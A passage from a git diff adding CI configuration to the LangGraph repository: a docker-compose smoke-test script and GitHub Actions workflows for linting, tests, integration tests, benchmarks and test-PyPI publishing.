langgraph_cli.progress import Progress + +logger = logging.getLogger(__name__) +logging.basicConfig(level=logging.INFO) + + +def test(config: pathlib.Path, port: int, tag: str, verbose: bool): + """Spin up API with Postgres/Redis via docker compose and wait until ready.""" + logger.info("Starting test...") + with Runner() as runner, Progress(message="Pulling...") as set: + # Detect docker/compose capabilities + capabilities = langgraph_cli.docker.check_capabilities(runner) + + # Validate config and prepare compose stdin/args using built image + config_json = langgraph_cli.config.validate_config_file(config) + args, stdin = prepare_args_and_stdin( + capabilities=capabilities, + config_path=config, + config=config_json, + docker_compose=None, + port=port, + watch=False, + debugger_port=None, + debugger_base_url=f"http://127.0.0.1:{port}", + postgres_uri=None, + api_version=None, + image=tag, + base_image=None, + ) + + # Compose up with wait (implies detach), similar to `langgraph up --wait` + args_up = [*args, "up", "--remove-orphans", "--wait"] + + compose_cmd = ["docker", "compose"] + if capabilities.compose_type == "standalone": + compose_cmd = ["docker-compose"] + + set("Starting...") + try: + runner.run( + subp_exec( + *compose_cmd, + *args_up, + input=stdin, + verbose=verbose, + ) + ) + except Exception as e: # noqa: BLE001 + # On failure, show diagnostics then ensure clean teardown + sys.stderr.write(f"docker compose up failed: {e}\n") + try: + sys.stderr.write("\n== docker compose ps ==\n") + runner.run( + subp_exec(*compose_cmd, *args, "ps", input=stdin, verbose=True) + ) + except Exception: + pass + try: + sys.stderr.write("\n== docker compose logs (api) ==\n") + runner.run( + subp_exec( + *compose_cmd, + *args, + "logs", + "langgraph-api", + input=stdin, + verbose=True, + ) + ) + except Exception: + pass + finally: + try: + runner.run( + subp_exec( + *compose_cmd, + *args, + "down", + "-v", + "--remove-orphans", + input=stdin, + verbose=False, + ) + ) + finally: + raise + + set("") + base_url = f"http://localhost:{port}" + ok_url = f"{base_url}/ok" + logger.info(f"Waiting for {ok_url} to respond with 200...") + deadline = time.time() + 30 + last_err: Exception | None = None + while time.time() < deadline: + try: + with request.urlopen(ok_url, timeout=2) as resp: + if resp.status == 200: + sys.stdout.write( + f"""Ready!\n- API: {base_url}\n- /ok: 200 OK\n""" + ) + sys.stdout.flush() + break + else: + last_err = RuntimeError(f"Unexpected status: {resp.status}") + logger.error(f"Unexpected status: {resp.status}") + except error.URLError as e: + logger.error(f"URLError: {e}") + last_err = e + except Exception as e: # noqa: BLE001 + logger.error(f"Exception: {e}") + last_err = e + time.sleep(0.5) + else: + logger.error("Timeout waiting for /ok to return 200") + # Bring stack down before raising + args_down = [*args, "down", "-v", "--remove-orphans"] + try: + runner.run( + subp_exec( + *compose_cmd, + *args_down, + input=stdin, + verbose=verbose, + ) + ) + finally: + raise SystemExit( + f"/ok did not return 202 within timeout. Last error: {last_err}" + ) + + # Clean up: bring compose stack down to free ports for next test + logger.info("Test succeeded. Bringing down compose stack...") + try: + args_down = [*args, "down", "-v", "--remove-orphans"] + runner.run( + subp_exec( + *compose_cmd, + *args_down, + input=stdin, + verbose=verbose, + ) + ) + logger.info("Compose stack down. Finishing...") + except Exception: + logger.exception("Failed to bring down compose stack") + pass + + logger.info("Test finished") + + +if __name__ == "__main__": + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument("-t", "--tag", type=str) + parser.add_argument("-c", "--config", type=str, default="./langgraph.json") + parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT) + args = parser.parse_args() + try: + test(pathlib.Path(args.config), args.port, args.tag, verbose=True) + except BaseException: + logger.exception("Test failed") + raise + + logger.info("Test execution finished") diff --git a/.github/workflows/_integration_test.yml b/.github/workflows/_integration_test.yml new file mode 100644 index 0000000..ac34ece --- /dev/null +++ b/.github/workflows/_integration_test.yml @@ -0,0 +1,168 @@ +name: CLI integration test + +on: + workflow_call: + secrets: + LANGSMITH_API_KEY: + required: false + +permissions: + contents: read + +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: + - "3.10" + - "3.14" + example: + - name: A + workdir: libs/cli/examples + tag: langgraph-test-a + - name: B + workdir: libs/cli/examples/graphs + tag: langgraph-test-b + - name: C + workdir: libs/cli/examples/graphs_reqs_a + tag: langgraph-test-c + - name: D + workdir: libs/cli/examples/graphs_reqs_b + tag: langgraph-test-d + name: "CLI integration test" + env: + HAS_LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY != '' }} + defaults: + run: + working-directory: libs/cli + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - name: Get changed files + id: changed-files + if: github.event_name != 'workflow_dispatch' + uses: Ana06/get-changed-files@25f79e676e7ea1868813e21465014798211fad8c # v2.3.0 + with: + filter: "libs/cli/**" + - name: Set up Python ${{ matrix.python-version }} + if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') + uses: ./.github/actions/uv_setup + with: + python-version: ${{ matrix.python-version }} + enable-cache: "false" + working-directory: libs/cli + - name: Install cli globally + if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') + run: pip install -e . + - name: Build service ${{ matrix.example.name }} + if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') + working-directory: ${{ matrix.example.workdir }} + run: | + langgraph build -t ${{ matrix.example.tag }} + - name: Test service ${{ matrix.example.name }} + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&env.HAS_LANGSMITH_API_KEY == 'true' }} + working-directory: ${{ matrix.example.workdir }} + env: + LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }} + run: | + # Prepare environment file from local or parent example directory + if [ -f .env.example ]; then cp .env.example .env; elif [ -f ../.env.example ]; then cp ../.env.example .env && cp ../.env.example ../.env; fi + echo "LANGSMITH_API_KEY=${{ secrets.LANGSMITH_API_KEY }}" >> .env + if [ -f ../.env ]; then echo "LANGSMITH_API_KEY=${{ secrets.LANGSMITH_API_KEY }}" >> ../.env; fi + # Run the integration test using the built tag + REPO_ROOT=$(git rev-parse --show-toplevel) + timeout 60 python "$REPO_ROOT/.github/scripts/run_langgraph_cli_test.py" -t ${{ matrix.example.tag }} + + - name: Build JS service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/js-examples + run: | + langgraph build -t langgraph-test-e + + - name: Build JS monorepo service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/js-monorepo-example + run: | + langgraph build -t langgraph-test-f -c apps/agent/langgraph.json --build-command "yarn run turbo build" --install-command "yarn install" + + - name: Build Python monorepo service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/python-monorepo-example + run: | + langgraph build -t langgraph-test-g -c apps/agent/langgraph.json + - name: Test Python monorepo service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }} + working-directory: libs/cli/python-monorepo-example + env: + LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }} + run: | + cp apps/agent/.env.example apps/agent/.env + echo "LANGSMITH_API_KEY=${{ secrets.LANGSMITH_API_KEY }}" >> apps/agent/.env + timeout 60 python ../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-g -c apps/agent/langgraph.json + + - name: Build prerelease reqs service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/examples/graph_prerelease_reqs + run: | + langgraph build -t langgraph-test-h + - name: Test prerelease reqs service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }} + working-directory: libs/cli/examples/graph_prerelease_reqs + env: + LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }} + run: | + cp ../.env.example .env + echo "LANGSMITH_API_KEY=${{ secrets.LANGSMITH_API_KEY }}" >> .env + timeout 60 python ../../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-h + echo "Finished starting up langgraph-test-h" + LANGGRAPH_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langgraph'); print(v);") + if [ "$LANGGRAPH_VERSION" != "1.1.5" ]; then + echo "LANGGRAPH_VERSION != 1.1.5; $LANGGRAPH_VERSION" + exit 1 + fi + LANGCHAIN_OPENAI_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langchain-openai'); print(v);") + if [ "$LANGCHAIN_OPENAI_VERSION" != "1.1.14" ]; then + echo "LANGCHAIN_OPENAI_VERSION != 1.1.14; $LANGCHAIN_OPENAI_VERSION" + exit 1 + fi + LANGCHAIN_ANTHROPIC_VERSION=$(docker run --rm --entrypoint "" langgraph-test-h python -c "import sys; from importlib.metadata import version; v = version('langchain-anthropic'); print(v);") + if [ "$LANGCHAIN_ANTHROPIC_VERSION" != "1.4.6" ]; then + echo "LANGCHAIN_ANTHROPIC_VERSION != 1.4.6; $LANGCHAIN_ANTHROPIC_VERSION" + exit 1 + fi + + - name: Build and test prerelease reqs fail service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/examples/graph_prerelease_reqs_fail + run: | + langgraph build -t langgraph-test-i || [ $? -eq 1 ] + + - name: Build uv simple service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/uv-examples/simple + run: | + langgraph build -t langgraph-test-uv-simple + - name: Test uv simple service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }} + working-directory: libs/cli/uv-examples/simple + env: + LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }} + run: | + cp .env.example .env + echo "LANGSMITH_API_KEY=${{ secrets.LANGSMITH_API_KEY }}" >> .env + timeout 60 python ../../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-uv-simple + + - name: Build uv monorepo service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }} + working-directory: libs/cli/uv-examples/monorepo/apps/agent + run: | + langgraph build -t langgraph-test-uv-monorepo + - name: Test uv monorepo service + if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }} + working-directory: libs/cli/uv-examples/monorepo/apps/agent + env: + LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }} + run: | + cp .env.example .env + echo "LANGSMITH_API_KEY=${{ secrets.LANGSMITH_API_KEY }}" >> .env + timeout 60 python ../../../../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-uv-monorepo diff --git a/.github/workflows/_lint.yml b/.github/workflows/_lint.yml new file mode 100644 index 0000000..f1bc6f3 --- /dev/null +++ b/.github/workflows/_lint.yml @@ -0,0 +1,78 @@ +name: lint + +on: + workflow_call: + inputs: + working-directory: + required: true + type: string + description: "From which folder this pipeline executes" + +permissions: + contents: read + +env: + # This env var allows us to get inline annotations when ruff has complaints. + RUFF_OUTPUT_FORMAT: github + +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + # Only lint on the min and max supported Python versions. + # It's extremely unlikely that there's a lint issue on any version in between + # that doesn't show up on the min or max versions. + # + # GitHub rate-limits how many jobs can be running at any one time. + # Starting new jobs is also relatively slow, + # so linting on fewer versions makes CI faster. + python-version: + - "3.12" + name: "lint #${{ matrix.python-version }}" + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - name: Get changed files + id: changed-files + if: github.event_name != 'workflow_dispatch' + uses: Ana06/get-changed-files@25f79e676e7ea1868813e21465014798211fad8c # v2.3.0 + with: + filter: "${{ inputs.working-directory }}/**" + - name: Set up Python ${{ matrix.python-version }} + if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch' + uses: ./.github/actions/uv_setup + with: + python-version: ${{ matrix.python-version }} + cache-suffix: lint-${{ inputs.working-directory }} + working-directory: ${{ inputs.working-directory }} + + - name: Install dependencies + if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch' + working-directory: ${{ inputs.working-directory }} + run: uv sync --frozen --group lint + + - name: Analysing package code with our lint + if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch' + working-directory: ${{ inputs.working-directory }} + run: | + if make lint_package > /dev/null 2>&1; then + make lint_package + else + echo "lint_package command not found, using lint instead" + make lint + fi + + - name: Install test dependencies + if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch' + working-directory: ${{ inputs.working-directory }} + run: uv sync --group lint + + - name: Analysing tests with our lint + if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch' + working-directory: ${{ inputs.working-directory }} + run: | + if make lint_tests > /dev/null 2>&1; then + make lint_tests + else + echo "lint_tests command not found, skipping step" + fi diff --git a/.github/workflows/_sdk_integration_test.yml b/.github/workflows/_sdk_integration_test.yml new file mode 100644 index 0000000..a463e9f --- /dev/null +++ b/.github/workflows/_sdk_integration_test.yml @@ -0,0 +1,85 @@ +name: sdk-py integration test + +on: + workflow_call: + secrets: + LANGSMITH_API_KEY: + required: false + DOCKERHUB_USERNAME: + required: false + DOCKERHUB_RO_TOKEN: + required: false + +permissions: + contents: read + +jobs: + build: + runs-on: ubuntu-latest + name: "sdk-py integration" + defaults: + run: + working-directory: libs/sdk-py + env: + HAS_LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY != '' }} + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Set up Python + uses: ./.github/actions/uv_setup + with: + python-version: "3.13" + cache-suffix: sdk-py-integration + working-directory: libs/sdk-py + + - name: Login to Docker Hub + uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee # v4 + if: ${{ !github.event.pull_request.head.repo.fork }} + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_RO_TOKEN }} + + - name: Install dependencies + shell: bash + run: uv sync --frozen --group test --no-dev + + - name: Skip if LANGSMITH_API_KEY is not available + if: env.HAS_LANGSMITH_API_KEY != 'true' + run: | + echo "LANGSMITH_API_KEY is not set (likely a fork PR). Skipping integration tests." + exit 0 + + - name: Bring up integration stack + if: env.HAS_LANGSMITH_API_KEY == 'true' + working-directory: libs/sdk-py/integration + env: + LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }} + run: docker compose up -d --build + + - name: Wait for API healthcheck + if: env.HAS_LANGSMITH_API_KEY == 'true' + run: | + for i in $(seq 1 60); do + if curl -sf http://localhost:2024/ok >/dev/null; then + echo "API ready after ${i}s" + exit 0 + fi + sleep 2 + done + echo "API failed to become healthy within 120s" + docker compose -f libs/sdk-py/integration/docker-compose.yml logs api | tail -100 + exit 1 + + - name: Run integration suite + if: env.HAS_LANGSMITH_API_KEY == 'true' + run: uv run pytest tests/integration/ -m integration + + - name: Dump api logs on failure + if: failure() && env.HAS_LANGSMITH_API_KEY == 'true' + working-directory: libs/sdk-py/integration + run: docker compose logs api | tail -200 + + - name: Tear down stack + if: always() && env.HAS_LANGSMITH_API_KEY == 'true' + working-directory: libs/sdk-py/integration + run: docker compose down -v diff --git a/.github/workflows/_test.yml b/.github/workflows/_test.yml new file mode 100644 index 0000000..6e0701d --- /dev/null +++ b/.github/workflows/_test.yml @@ -0,0 +1,63 @@ +name: test + +on: + workflow_call: + inputs: + working-directory: + required: true + type: string + description: "From which folder this pipeline executes" + +permissions: + contents: read + +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: + - "3.10" + - "3.11" + - "3.12" + - "3.13" + - "3.14" + + name: "test #${{ matrix.python-version }}" + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - name: Set up Python ${{ matrix.python-version }} + uses: ./.github/actions/uv_setup + with: + python-version: ${{ matrix.python-version }} + cache-suffix: test-${{ inputs.working-directory }} + working-directory: ${{ inputs.working-directory }} + - name: Login to Docker Hub + uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee # v4 + if: ${{ !github.event.pull_request.head.repo.fork }} + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_RO_TOKEN }} + + - name: Install dependencies + shell: bash + working-directory: ${{ inputs.working-directory }} + run: uv sync --frozen --group test --no-dev + + - name: Run tests + shell: bash + working-directory: ${{ inputs.working-directory }} + run: make test + + - name: Ensure the tests did not create any additional files + shell: bash + working-directory: ${{ inputs.working-directory }} + run: | + set -eu + + STATUS="$(git status)" + echo "$STATUS" + + # grep will exit non-zero if the target message isn't found, + # and `set -e` above will cause the step to fail. + echo "$STATUS" | grep 'nothing to commit, working tree clean' diff --git a/.github/workflows/_test_langgraph.yml b/.github/workflows/_test_langgraph.yml new file mode 100644 index 0000000..72ac5ae --- /dev/null +++ b/.github/workflows/_test_langgraph.yml @@ -0,0 +1,65 @@ +name: test + +on: + workflow_call: + +permissions: + contents: read + +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: + - "3.10" + - "3.11" + - "3.12" + - "3.13" + - "3.14" + + defaults: + run: + working-directory: libs/langgraph + name: "test #${{ matrix.python-version }}" + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - name: Set up Python ${{ matrix.python-version }} + uses: ./.github/actions/uv_setup + with: + python-version: ${{ matrix.python-version }} + cache-suffix: "test-langgraph" + working-directory: libs/langgraph + - name: Login to Docker Hub + uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee # v4 + if: ${{ !github.event.pull_request.head.repo.fork }} + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_RO_TOKEN }} + + - name: Install dependencies + shell: bash + run: uv sync --frozen --group test --no-dev + + - name: Run tests + shell: bash + run: make test_parallel + + - name: Run strict msgpack pregel tests + if: ${{ matrix.python-version == '3.13' }} + shell: bash + env: + LANGGRAPH_STRICT_MSGPACK: "true" + run: make test TEST="tests/test_pregel.py tests/test_pregel_async.py" + + - name: Ensure the tests did not create any additional files + shell: bash + run: | + set -eu + + STATUS="$(git status)" + echo "$STATUS" + + # grep will exit non-zero if the target message isn't found, + # and `set -e` above will cause the step to fail. + echo "$STATUS" | grep 'nothing to commit, working tree clean' diff --git a/.github/workflows/_test_release.yml b/.github/workflows/_test_release.yml new file mode 100644 index 0000000..ad30c8a --- /dev/null +++ b/.github/workflows/_test_release.yml @@ -0,0 +1,97 @@ +name: test-release + +on: + workflow_call: + inputs: + working-directory: + required: true + type: string + description: "From which folder this pipeline executes" + +env: + PYTHON_VERSION: "3.10" + +permissions: + contents: read + +jobs: + build: + runs-on: ubuntu-latest + + outputs: + pkg-name: ${{ steps.check-version.outputs.pkg-name }} + version: ${{ steps.check-version.outputs.version }} + + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Set up Python ${{ env.PYTHON_VERSION }} + uses: ./.github/actions/uv_setup + with: + python-version: ${{ env.PYTHON_VERSION }} + cache-suffix: "release" + working-directory: ${{ inputs.working-directory }} + + # We want to keep this build stage *separate* from the release stage, + # so that there's no sharing of permissions between them. + # The release stage has trusted publishing and GitHub repo contents write access, + # and we want to keep the scope of that access limited just to the release job. + # Otherwise, a malicious `build` step (e.g. via a compromised dependency) + # could get access to our GitHub or PyPI credentials. + # + # Per the trusted publishing GitHub Action: + # > It is strongly advised to separate jobs for building [...] + # > from the publish job. + # https://github.com/pypa/gh-action-pypi-publish#non-goals + - name: Build project for distribution + run: uv build + working-directory: ${{ inputs.working-directory }} + + - name: Upload build + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: test-dist + path: ${{ inputs.working-directory }}/dist/ + + - name: Check Version + id: check-version + shell: bash + working-directory: ${{ inputs.working-directory }} + run: | + echo pkg-name=$(grep -m 1 "^name = " pyproject.toml | cut -d '"' -f 2) + echo version=$(grep -m 1 "^version = " pyproject.toml | cut -d '"' -f 2) + + publish: + needs: + - build + runs-on: ubuntu-latest + permissions: + # This permission is used for trusted publishing: + # https://blog.pypi.org/posts/2023-04-20-introducing-trusted-publishers/ + # + # Trusted publishing has to also be configured on PyPI for each package: + # https://docs.pypi.org/trusted-publishers/adding-a-publisher/ + id-token: write + + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: test-dist + path: ${{ inputs.working-directory }}/dist/ + + - name: Publish to test PyPI + uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # release/v1 + with: + packages-dir: ${{ inputs.working-directory }}/dist/ + verbose: true + print-hash: true + repository-url: https://test.pypi.org/legacy/ + + # We overwrite any existing distributions with the same name and version. + # This is *only for CI use* and is *extremely dangerous* otherwise! + # https://github.com/pypa/gh-action-pypi-publish#tolerating-release-package-file-duplicates + skip-existing: true + # Temp workaround since attestations are on by default as of gh-action-pypi-publish v1.11.0 + attestations: false diff --git a/.github/workflows/baseline.yml b/.github/workflows/baseline.yml new file mode 100644 index 0000000..60dfd11 --- /dev/null +++ b/.github/workflows/baseline.yml @@ -0,0 +1,37 @@ +name: baseline + +on: + workflow_dispatch: + push: + branches: [main] + paths: + - "libs/**" + +permissions: + contents: read + +jobs: + benchmark: + runs-on: ubuntu-latest + defaults: + run: + working-directory: libs/langgraph + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - run: SHA=$(git rev-parse HEAD) && echo "SHA=$SHA" >> $GITHUB_ENV + - name: Set up Python 3.11 + uses: ./.github/actions/uv_setup + with: + python-version: "3.11" + cache-suffix: "bench" + working-directory: libs/langgraph + - name: Install dependencies + run: uv sync --group test + - name: Run benchmarks + run: OUTPUT=out/benchmark-baseline.json make -s benchmark + - name: Save outputs + uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + key: ${{ runner.os }}-benchmark-baseline-${{ env.SHA }} + path: | + libs/langgraph/out/benchmark-baseline.json diff --git a/.github/workflows/bench.yml b/.github/workflows/bench.yml new file mode 100644 index 0000000..90dea4a --- /dev/null +++ b/.github/workflows/bench.yml @@ -0,0 +1,75 @@ +name: bench + +on: + pull_request: + paths: + - "libs/**" + +permissions: + contents: read + +jobs: + benchmark: + runs-on: ubuntu-latest + defaults: + run: + working-directory: libs/langgraph + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - id: files + name: Get changed files + uses: Ana06/get-changed-files@25f79e676e7ea1868813e21465014798211fad8c # v2.3.0 + with: + format: json + - name: Set up Python 3.11 + uses: ./.github/actions/uv_setup + with: + python-version: "3.11" + cache-suffix: "bench" + working-directory: libs/langgraph + - name: Install dependencies + run: uv sync --group test + - name: Download baseline + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + key: ${{ runner.os }}-benchmark-baseline + restore-keys: | + ${{ runner.os }}-benchmark-baseline- + fail-on-cache-miss: true + path: | + libs/langgraph/out/benchmark-baseline.json + - name: Run benchmarks + id: benchmark + run: | + { + echo 'OUTPUT<> "$GITHUB_OUTPUT" + - name: Compare benchmarks + id: compare + run: | + { + echo 'OUTPUT<> "$GITHUB_OUTPUT" + - name: Annotation + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + env: + CHANGED_FILES: ${{ steps.files.outputs.added_modified_renamed }} + BENCHMARK_OUTPUT: ${{ steps.benchmark.outputs.OUTPUT }} + COMPARE_OUTPUT: ${{ steps.compare.outputs.OUTPUT }} + with: + script: | + const file = JSON.parse(process.env.CHANGED_FILES || "[]")[0] + core.notice(process.env.BENCHMARK_OUTPUT || "", { + title: 'Benchmark results', + file, + }) + core.notice(process.env.COMPARE_OUTPUT || "", { + title: 'Comparison against main', + file, + }) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..1899c42 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,198 @@ +--- +name: CI + +on: + workflow_dispatch: + push: + branches: + - main + pull_request: + + +permissions: + contents: read + +# If another push to the same PR or branch happens while this workflow is still running, +# cancel the earlier run in favor of the next run. +# +# There's no point in testing an outdated version of the code. GitHub only allows +# a limited number of job runners to be active at the same time, so it's better to cancel +# pointless jobs early so that more useful jobs can run sooner. +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + changes: + runs-on: ubuntu-latest + outputs: + python: ${{ steps.filter.outputs.python || 'true' }} + deps: ${{ steps.filter.outputs.deps || 'true' }} + sdk_py: ${{ steps.filter.outputs.sdk_py || 'true' }} + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - uses: dorny/paths-filter@fbd0ab8f3e69293af611ebaee6363fc25e6d187d # v4 + if: github.event_name != 'workflow_dispatch' + id: filter + with: + filters: | + python: + - 'libs/langgraph/**' + - 'libs/sdk-py/**' + - 'libs/cli/**' + - 'libs/checkpoint/**' + - 'libs/checkpoint-sqlite/**' + - 'libs/checkpoint-postgres/**' + - 'libs/checkpoint-conformance/**' + - 'libs/prebuilt/**' + deps: + - '**/pyproject.toml' + - '**/uv.lock' + sdk_py: + - 'libs/sdk-py/**' + # The integration suite runs the local langgraph core inside the + # server (see libs/sdk-py/integration/Dockerfile), so any core + # change is now exercised end-to-end and should trigger it. + - 'libs/langgraph/**' + + lint: + needs: changes + name: cd ${{ matrix.working-directory }} + strategy: + matrix: + working-directory: + [ + "libs/langgraph", + "libs/sdk-py", + "libs/cli", + "libs/checkpoint", + "libs/checkpoint-sqlite", + "libs/checkpoint-postgres", + "libs/checkpoint-conformance", + "libs/prebuilt", + ] + if: needs.changes.outputs.python == 'true' || needs.changes.outputs.deps == 'true' + uses: ./.github/workflows/_lint.yml + with: + working-directory: ${{ matrix.working-directory }} + secrets: inherit + + test: + needs: changes + name: cd ${{ matrix.working-directory }} + strategy: + matrix: + working-directory: + [ + "libs/cli", + "libs/checkpoint", + "libs/checkpoint-sqlite", + "libs/checkpoint-postgres", + "libs/checkpoint-conformance", + "libs/prebuilt", + "libs/sdk-py", + ] + if: needs.changes.outputs.python == 'true' || needs.changes.outputs.deps == 'true' + uses: ./.github/workflows/_test.yml + with: + working-directory: ${{ matrix.working-directory }} + secrets: inherit + + # NOTE: we're testing langgraph separately because it requires a different matrix + test-langgraph: + needs: changes + if: needs.changes.outputs.python == 'true' || needs.changes.outputs.deps == 'true' + name: "cd libs/langgraph" + uses: ./.github/workflows/_test_langgraph.yml + secrets: inherit + + check-sdk-methods: + needs: changes + if: needs.changes.outputs.python == 'true' + name: "Check SDK methods matching" + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - name: Set up Python + uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 + with: + python-version: "3.11" + - name: Run check_sdk_methods script + run: python .github/scripts/check_sdk_methods.py + + check-schema: + needs: changes + if: needs.changes.outputs.python == 'true' + name: "Check CLI schema hasn't changed #${{ matrix.python-version }}" + runs-on: ubuntu-latest + strategy: + matrix: + python-version: + - "3.13" + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - name: Set up Python ${{ matrix.python-version }} + uses: ./.github/actions/uv_setup + with: + python-version: "3.13" + cache-suffix: "schema-check-cli" + working-directory: libs/cli + - name: Install CLI dependencies + run: | + cd libs/cli + uv sync + - name: Generate schema and check for changes + run: | + cd libs/cli + # Create a temporary copy of the current schema + cp schemas/schema.json schemas/schema.current.json + # Generate new schema + uv run python generate_schema.py + # Compare the new schema with the original + if ! diff -q schemas/schema.json schemas/schema.current.json > /dev/null; then + echo "Error: Langgraph.json configuration schema has changed. Please run 'uv run python generate_schema.py' in the libs/cli directory and commit the changes." + diff schemas/schema.json schemas/schema.current.json + exit 1 + fi + echo "Schema check passed - no changes detected" + + integration-test: + needs: changes + if: needs.changes.outputs.python == 'true' || needs.changes.outputs.deps == 'true' + name: CLI integration test + uses: ./.github/workflows/_integration_test.yml + secrets: inherit + + sdk-py-integration-test: + needs: changes + if: needs.changes.outputs.sdk_py == 'true' + name: "sdk-py integration test" + uses: ./.github/workflows/_sdk_integration_test.yml + secrets: inherit + + ci_success: + name: "CI Success" + needs: + [ + lint, + test, + test-langgraph, + check-sdk-methods, + check-schema, + integration-test, + sdk-py-integration-test, + ] + if: | + always() + runs-on: ubuntu-latest + env: + JOBS_JSON: ${{ toJSON(needs) }} + RESULTS_JSON: ${{ toJSON(needs.*.result) }} + EXIT_CODE: ${{!contains(needs.*.result, 'failure') && !contains(needs.*.result, 'cancelled') && '0' || '1'}} + steps: + - name: "CI Success" + run: | + echo $JOBS_JSON + echo $RESULTS_JSON + echo "Exiting with $EXIT_CODE" + exit $EXIT_CODE diff --git a/.github/workflows/deploy-redirects.yml b/.github/workflows/deploy-redirects.yml new file mode 100644 index 0000000..14c9d67 